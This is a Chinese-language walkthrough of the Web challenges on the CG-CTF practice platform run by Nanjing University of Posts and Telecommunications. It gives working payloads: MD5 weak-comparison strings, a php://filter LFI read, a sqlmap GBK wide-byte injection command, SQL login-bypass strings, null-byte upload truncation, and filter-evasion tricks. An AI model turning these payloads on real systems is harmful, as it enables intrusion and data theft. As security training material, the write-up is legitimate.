其他分享
首页 > 其他分享> > 南邮CTF - Writeup

南邮CTF - Writeup

作者:互联网

南邮CTF攻防平台Writeup

By:Mirror王宇阳

个人QQ欢迎交流:2821319009

技术水平有限~大佬勿喷 ^_^

Web题

签到题:

直接一梭哈……

md5 collision:

题目源码提示:

$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
   echo "nctf{*****************}";
} else {
   echo "false!!!";
}}
else{echo "please input a";}

呃……脑中闪过“PHP弱类型”于是乎……当然是Google找一下喽!

QNKCDZO的md5(32)加密后:0e830400451993494058024219903391

结合 $md51 == $md52 就要0e开头的md5碰撞!感谢Google

构造:http://chinalover.sinaapp.com/web19/?a=s878926199a

签到2:

本能的直接源码搜哈……

发现了字符输入限制10位字符,而给出的指令是11位!得嘞……前端能看见的都能改 maxlength="11"只要限制字符数超过11或等于11位就行!

这题不是Web:

题目都说了!这题不是web!然而面对这页面……除了图片还有啥?

既然只有图片那么我就要再拿出宝贝了!WinHex (十六进制查看器)

**多显然的flag呀^_^……**

层层递进:

说来惭愧……看了源码一脸懵逼……于是我分析题目发现硬核推荐的微博也没得线索

在仔细一想!算了还是扣源码吧于是一个手滑……

没错!随便点了一下,进一个有一个!于是按照 SO.html 一路点下去

以为有惊喜!结果……

这是什么鬼呀……

不过!哪位高手给那摩多注释,难不成睡觉的时候按到了 Ctrl+C 吗 ???

然而其中暗藏玄机……

AAencode:

这个题目就得Google了解(这个东西叫做颜编码

首先,看看这页面……不太像颜编码呀?

更像是乱码……于是!换一个编码呗!

这样才对嘛……

下一步就是要借助 Chrom 浏览器了(当然了在线的AAencode工具也可以)

单身二十年:

唉……这题目说的就是我呀!踩过前面题目的坑了!俺得好好的留意题目的提示:“手速”,也就是速度快呗……

不在?但是首页告诉我可以找到呀!为什么呢?

手速……手速……手速……

后来留意了一下!

原来索引的位置不对呀!

看了一下跳转!原来这个没有flag页面是从 http://chinalover.sinaapp.com/web8/search_key.php 页面跳转的

Burp抓包看一眼

在上一个页面有一个自动跳转……难怪要求手速快呢!难道不是要求“眼速快”吗?

PHP decode:

题目源码:“ 见到的一个类似编码的shell,请解码 ”

<?php
function CLsI($ZzvSWE) {
 
    $ZzvSWE = gzinflate(base64_decode($ZzvSWE));
 
    for ($i = 0; $i < strlen($ZzvSWE); $i++) {
 
        $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
 
    }
 
    return $ZzvSWE;
 
}
eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));
?>

傻傻的看了源码两三分钟!然后发现……一执行就有结果了!

文件包含:

题目直接提示了:LFI

点击,但又说不???

从源码中发现:file包含了show.php文件,也就表示,file就是文件包含属性,

既然提示我们可以利用LFI,那么就……读一下源码php吧!

http://4.chinalover.sinaapp.com/web7/index.php?
file=php://filter/read=convert.base64-encode/resource=index.php

利用php协议php:filter读取本地任意文件(file:// 需要详细的URL路径才可以哦)

PGh0bWw+CiAgICA8dGl0bGU+YXNkZjwvdGl0bGU+CiAgICAKPD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWlmKCEkX0dFVFtmaWxlXSl7ZWNobyAnPGEgaHJlZj0iLi9pbmRleC5waHA/ZmlsZT1zaG93LnBocCI+Y2xpY2sgbWU/IG5vPC9hPic7fQoJJGZpbGU9JF9HRVRbJ2ZpbGUnXTsKCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpewoJCWVjaG8gIk9oIG5vISI7CgkJZXhpdCgpOwoJfQoJaW5jbHVkZSgkZmlsZSk7IAovL2ZsYWc6bmN0ZntlZHVsY25pX2VsaWZfbGFjb2xfc2lfc2lodH0KCj8+CjwvaHRtbD4=
<html>
    <title>asdf</title>
    
<?php
    error_reporting(0);
    if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag:nctf{edulcni_elif_lacol_si_siht}

?>
</html>

哎呀!一不小心~flag出来了^_^

单身一百年也没用:

啥意思?又来套路……Burp启动

居然没一点坑……呵呵

看到题目提示:

0就是的意思!那么1就是的意思喽

简单通过……

MySQL:

按照提示:“Do you know robots.txt” 我们看一下robots文件

通过对源码的分析sql.php页面要求我们提交一个$id参数,使intval($_GET[id])==1024,但是$_GET[$id]== 1024 为假!也就是说我们需要同时保证两个条件同时成立且为真。

int intval ( mixed $var [, int $base = 10 ] )

构造:函数转为int整型

http://chinalover.sinaapp.com/web11/sql.php?id=1024e1

http://chinalover.sinaapp.com/web11/sql.php?id=1024.1

………………

GBK Injection:

哈哈!粗暴的题目!告诉我们GBK注入(宽字节注入

直接丢进SQLmap跑一遍

python2 sqlmap.py --url "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%d6" -D sae-chinalover -T ctf4 --dump

嗯!确实全程sqlmap自动化,有点脸皮厚了……

/x00:

题目直接给出源码:

    if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
            echo '必须输入数字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '骚年,继续努力吧啊~';
    }

从源码分析来看:输入的$nctf值必须符合“^[1-9]+$”正则;且可以在strpos()函数中找到“#biubiubiu”字符!

头疼……不能输入字符?Google一下了解函数的缺陷吧!

按照题目给的提示:“/x00” 发现ereg函数存在截断漏洞:%xx截断遇到%00则默认字符串结束;而strpos函数则越过或是说识别%00截断后面的字符内容。

构造:http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=111%00%23biubiubiu

bypass again:

提示是“弱类型参考文章)”;源码梭哈一波:

if (isset($_GET['a']) and isset($_GET['b'])) {
    if ($_GET['a'] != $_GET['b'])
    if (md5($_GET['a']) == md5($_GET['b']))
        die('Flag: '.$flag);
    else
        print 'Wrong.';
}

啥玩意?在找一找0exxx”开头的hash值;遇到了两题这样的!就顺便解释一下为什么0e开头的会相等于呢??因为“0e”开头的都会按照科学计数法转为最后的整型数“0”。

构造:http://chinalover.sinaapp.com/web17/index.php?a=s878926199a&b=s155964671a

变量覆盖:

题目就是指引!Google了解一下……

首先分析php源码核心部分……

<?php
    if($_SERVER["REQUEST_METHOD"] == "POST"){
        extract($_POST);
        if ($pass == $thepassword_123){
            echo $theflag;
        }
    }
?>

简单的解析一下源码函数:

extract():从数组中将变量导入当前符号表;key>变量名 ; value>变量值。

我们只需要覆盖变量并实现$pass == $thepassword_123就可以得到flag了!

post提交pass=123&thepassword_123=123 就会被后台认为$pass=123、$thepassword_123=123 实现变量覆盖……

伪装者:

神秘叨叨的……

burp打开!xff头改成127.0.0.1

居然不对……按理来说改下X-Forwarded-For就可以了呀!!!

于是我Google了一下伪造客户端IP的方法,发现除了X-F-F方法以外,还有一种Client-IP

上传绕过:

题目提示我们猜猜源码是如何写的!

<form action="upload.php" method="post" enctype="multipart/form-data">
    <label for="file">Filename:</label>
    <input type="hidden" name="dir" value="/uploads/" />
    <input type="file" name="file" id="file" /> 
    <br />
    <input type="submit" name="submit" value="Submit" />
</form>

这HTML页面时非常简单的文件上传的功能,题目是要求绕过!

按照返回结果,可以确定,我们只有上传的是可以解析的PHP文件才可以返回flag!

而且只允许jpg、gif、png等格式文件……

观察一下返回数据包是如何后端校验文件格式的!初步推定:后台校验文件是否为图片格式以后再判断是否为php格式文件!

在后台会把file上传的文件名和源码中的dir元素Value进行拼接;转向dir元素,因为它藏在源码里!必然有用!再仔细的观察了第二个检验php文件报错回显:

通过“/uploads”目录下的文件进行校验;回想两次校验的不同,第一次校验图片格式的时候是读取上传文件的后缀名,第二次校验是根据目录来找到文件进行校验!

我们首先是绕过第一道图片格式校验的检查,那么就要求我们的文件必须再上传的时候是图片格式。而保存的时候是dir元素的value和filename进行拼接的;如果我们修改了dir元素的value=“/uploads/1.php0x00” 也就是说在file经过第一道校验后与dir元素value拼接:“/uploads/1.php0x00test.jpg” 而这段在后台被执行的时候被00截断,保存为:“/uploads/1.php”

SQL注入:

题目给了源码分析一波:

<?php
    if($_POST[user] && $_POST[pass]) {
        mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
      mysql_select_db(SAE_MYSQL_DB);
      $user = trim($_POST[user]);  //trim():去除字符串两侧的空白字符
      $pass = md5(trim($_POST[pass]));
      $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
        echo '</br>'.$sql;
      $query = mysql_fetch_array(mysql_query($sql));
      if($query[user]=="admin") {
          echo "<p>Logged in! flag:******************** </p>";
      }
      if($query[user] != "admin") {
        echo("<p>You are not admin!</p>");
      }
    }
    echo $query[user];
?>

源码告诉我们输入的字符串两侧的空白字符会被删掉;然后如何拼接字符;在者就是告诉我们admin用户可以获得flag,意味着我们要利用admin的身份注入!(手工注入)

经过观察构造sql:

select user from ctf where (user='admin')#') and (pw='".$pass."')

我们需要的是构造user数据提交给后台:user=admin')#&pass=12345

pass check:

$pass=@$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass)){
    if(@!strcmp($pass,$pass1)){
        echo "flag:nctf{*}";
    }else{
        echo "the pass is wrong!";
    }
}else{
    echo "please input pass!";
}

题目给出了源码;分析一波……

strcmp():比较两个字符串,且大小写敏感; str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0;结合函数和源码:pass==pass1 时返回flag

Google一下函数缺陷:期待的是传入“合法字符串”,如果传入的是非法的字符串则返回 return 0

既然指导了函数比较的缺陷,那么我们就传入一个不合法的字符串,比如数组……

php为了可以上传一个数组,会把上传的变量结尾带一对中括号当作数组上传:key[]=xx

起名字真难:

<?php
function noother_says_correct($number)
{
       $one = ord('1');//ord():返回ascii值 
       $nine = ord('9');
    // one=49 ; nine=57 ;
       for ($i = 0; $i < strlen($number); $i++)  
       {   
               $digit = ord($number{$i}); //逐个返回number各个字符的ascii值
               if ( ($digit >= $one) && ($digit <= $nine) )
               { // 判断number内有没有1~9的数字字符:有则返回false
                       return false;  
               }
       }
       return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
   echo $flag;
else 
   echo 'access denied';
?>

综合分析源码:要求输入的key不可以在1~9之间,但是要求等于54975581388

一开始也是比较烦的但是发现它的数字限制不包括“0”;于是想到了“十六进制

key传入十六进制数,在数字检查中可以避开的,因为54975581388=0xccccccccc

密码重置:

题目要求对admin管理账户进行密码重置,而邮箱收到了重置密码的邮件html

抓包结果来看,我们需要以admin的身份重置密码!同时也留意到url中的user1=Y3RmdXNlcg==base解密结果为url1=ctfuser

SQL Injection:*

打开F12发现,源码被注释了!

#GOAL: login as admin,then get the flag; 以管理员身份登录,然后获取flag
error_reporting(0);
require 'db.inc.php';

function clean($str){
    if(get_magic_quotes_gpc()){ //获取当前 magic_quotes_gpc 的配置选项设置
        $str=stripslashes($str);
        // stripslashes():删除反斜杠
    }
    return htmlentities($str, ENT_QUOTES);
    //把$str字符转换为 HTML 实体  ENT_QUOTES:编码可用双引号和单引号
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
    die('Invalid password!');
}

echo $flag;

从源码分析来开,重要的就是单引号也会被编码!意味着我们输入的单引号也会被编码

构造:http://chinalover.sinaapp.com/web15/index.php?username=\&password=%20or%201%23 `

SELECT * FROM users WHERE name='\' AND pass='%20or%201%23'
即
SELECT * FROM users WHERE 
name='\' AND pass='                 『 [name]的值为 [' AND pass=]  ,显然逻辑值为false 』
or 1                                『 但没关系,[false or 1] 的逻辑值为真』 
#'                                  『 注释掉多余的单引号 』
即
select * from users where false or 1

SQL注入2:

源码:

<?php
    if($_POST[user] && $_POST[pass]) {
      mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
      mysql_select_db(SAE_MYSQL_DB);
      $user = $_POST[user];
      $pass = md5($_POST[pass]); 
      $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
            //mysql_fetch_array():结果集中取得一行作为关联数组,或数字数组
            //mysql_query():执行Mysql查询
      if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
                            // strcasecmp():比较str1和str2,且不区分大小写;
                            // 函数比较有一个缺陷就是:不管是str1>str2或str1==str2都返回“0”
                            // 也就是当passmd5处理后的值小于query[pw]就可以绕过
          echo "<p>Logged in! Key: ntcf{**************} </p>";
      } else {
        echo("<p>Log in failure!</p>");
      }
    }
?>

题目提示我们使用”union“方法……

我们输入的user 通过post提交给$user,后台通过$user返回pw字段,在strcasecmp()函数中比较pw和$pass。这是 正常的功能流程。

我们利用的点就是strcasecmp()函数的比较缺陷,这是我一开始的想法,但是想到题目的提示:“union”

于是我想到了利用闭合union的方法;

构造user='union select md5(a)# &pass=auser的value为空,不存在该查询则执行不成功;就会把union后一个查询显示在pw字段里,即我们查询的是md5(a),结合sql语句的拼接,pw字段==md5(a)。

综合题1:

是不是看不懂?没啥看不懂得!这就是JsFuck

解码后得到:1bc29b36f623ba82aaf6724fd3b16718.php构造访问后:

Response告诉我们tip字段提示:history of bash (bash的历史)

发现了 flagbak.zip,构造URL下载该文件并打开

综合题2:*

查看到最后一个sm.txt(本CMS说明)页面的时候发现了新大陆!

在这里它列出了:config.php index.php passencode.php say.php sm.txt 和admin表结构

同时我们分析URL时候,发现这个页面存在文件包含哦~~~

知道了那么多源码的文件名,我们试一试~~~

查完了sm.txt给的php文件,却忘记了about.php这个页面;点击sm.txt的那个链接后来到了/about.php?file=sm.txt 一直在包含其它文件,却忘了about.php

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
    <?php 
        $file=$_GET['file']; 
    if($file=="" || strstr($file,'config.php')){ 
        echo "file参数不能为空!"; 
        exit(); 
    }else{ 
        $cut=strchr($file,"loginxlcteam"); 
        if($cut==false){ 
            $data=file_get_contents($file); 
            $date=htmlspecialchars($data); 
            echo $date; 
        }else{ 
            echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>"; 
        } 
    }

看到了一丝曙光:有一个敏感目录loginxlcteam

打开一看,是个后台登录页面!是不是都瞬间有一种sql注入的冲动!但是我的直觉告诉我~~不可信

果然,看了一下前辈的思路,他们在so.php中发现了“include 'config.php'; include 'antiinject.php'; include 'antixss.php'”等文件被包含,其中antiinject.php文件就是防止sql注入的

知道了有防注入的文件,就回到一开始发现的文件包含的位置查看该源码:

<?php 
    function antiinject($content){ 
        $keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","="); 
        $info=strtolower($content); 
        for($i=0;$i<=count($keyword);$i++){ 
            $info=str_replace($keyword[$i], '',$info); 
        } 
        return $info; 
    } 
?>

从源码中发现:过滤了"select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","="等关键字

应对的绕过方法

应对关键字过滤,防御方式是把关键敏感单词变为空;可以采用复写的方式,即“ununionion”当过滤的时候,就会把中间的关键单词变为空;

应对过滤空格;采用/**/方式绕过;(当然了,也可以采用圆括号的方式)

明白了绕过的方法,就需要来sql注入了!注入点在哪?前辈给的方向是so.php

<?php 
    if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){ 
        echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~'; exit(); 
    } 
    $id=$_POST['soid']; 
    include 'config.php'; 
    include 'antiinject.php'; 
    include 'antixss.php'; 
    $id=antiinject($id); // 过滤关键字和空格
    $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error()); 
    mysql_select_db($db_name,$con); 
    $id=mysql_real_escape_string($id); //转义 SQL 语句中使用的字符串中的特殊字符
    $result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id"); 
    $rs=mysql_fetch_array($result); 
    echo htmlspecialchars($rs['nice']).':<br />&nbsp;&nbsp;&nbsp;&nbsp;'.antixss($rs['say']).'<br />'; 
    mysql_free_result($result); mysql_free_result($file); 
    mysql_close($con); 
?>

哦!对了,有一点要说一下哈~~~这个页面处理的是用户的留言数据,id内容实际上是留言板的ID,利用union select *,…

菜刀一连!找到flag文件就可以了……

这是CG-CTF做的最充裕、收获最大的一题

密码重置2:

TIPS:
1.管理员邮箱观察一下就可以找到
2.linux下一般使用vi编辑器,并且异常退出会留下备份文件
3.弱类型bypass

我们从源码中观察到了管理员邮箱:admin@nuptzj.cn

Vi编辑器 + 留下备份文件:vi的备份文件格式是:.[filename].swp

构造访问:http://nctf.nuptzj.cn/web14/.submit.php.swp

下载文件:wget http://nctf.nuptzj.cn/web14/.submit.php.swp

........这一行是省略的代码........

/*
如果登录邮箱地址不是管理员则 die()
数据库结构

--
-- 表的结构 `user`
--

CREATE TABLE IF NOT EXISTS `user` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(255) NOT NULL,
  `email` varchar(255) NOT NULL,
  `token` int(255) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;

--
-- 转存表中的数据 `user`
--

INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****不可见***', '***不可见***', 0);
*/


........这一行是省略的代码........

if(!empty($token)&&!empty($emailAddress)){
    if(strlen($token)!=10) die('fail');
    if($token!='0') die('fail');
        // 要求token为十位且为零 否则退出脚本并输出fail
    $sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
    $r = mysql_query($sql) or die('db error');
    $r = mysql_fetch_assoc($r);
    $r = $r['num'];
    if($r>0){ //只有当sql查询的count(*)也就是num大于或等于零的时候才会输出flag
        echo $flag;
    }else{
        echo "失败了呀";
    }
}

综上!我们知道了获得flag的方法:

​ 输入的用户名为:admin@nuptzj.cn

​ 输入的token:十位数且为“0”(符合提示的第三条)

要求十位数且结果为零的花,又想到了科学技术法 token=0e12345678

file_get_contents:

页面源码:

<!--$file = $_GET['file'];
if(@file_get_contents($file) == "meizijiu"){
    //file_get_contents():将整个文件读入一个字符串中
    echo $nctf;
}-->

从源码提示来看:要求我们包含的文件中的内容是“meizijiu”,并用file_get_contents()函数读取

这里需要引用的技术就是php协议:php://input:功能就是将data数据写入并可执行; 访问请求的原始数据的只读流。

变量覆盖2:

源码:

foreach($_GET as $key => $value){  
    // foreach():循环语句 常用于遍历数组
    // GET方式传入数组
        $$key = $value; //可变变量,一个可变变量获取了普通变量的值,作为这个可变变量的值
    /* $$x:解释 ~ ~ ~
         $x = "abc";  
         $$x = 200;  
         echo $x."<br/>";  // abc
         echo $$x."<br/>";  // 200
         echo $abc;         // 200
         
         》 $abc <= $$x <= $x == abc  //也就是$$x 把 $x 的值变成了一个变量
    */
}  
if($name == "meizijiu233"){
    echo $flag;
}

GET传入数组['name'=>'meizijiu233']

构造:http://chinalover.sinaapp.com/web24/?name=meizijiu233


By:Mirror王宇阳 2019年12月6日

留:周末刷了南京邮电大学CTF平台的Web题,以上是个人总结的思路Writeup

注:平台又小部分题目,笔者这里无法打开,所以就没有做……

最后附上平台网址:https://cgctf.nuptsast.com/challenges#Web

**感谢CG-CTF平台给的环境哦&_&**

标签:南邮,pass,flag,echo,CTF,源码,mysql,php,Writeup
来源: https://www.cnblogs.com/wangyuyang1016/p/11999986.html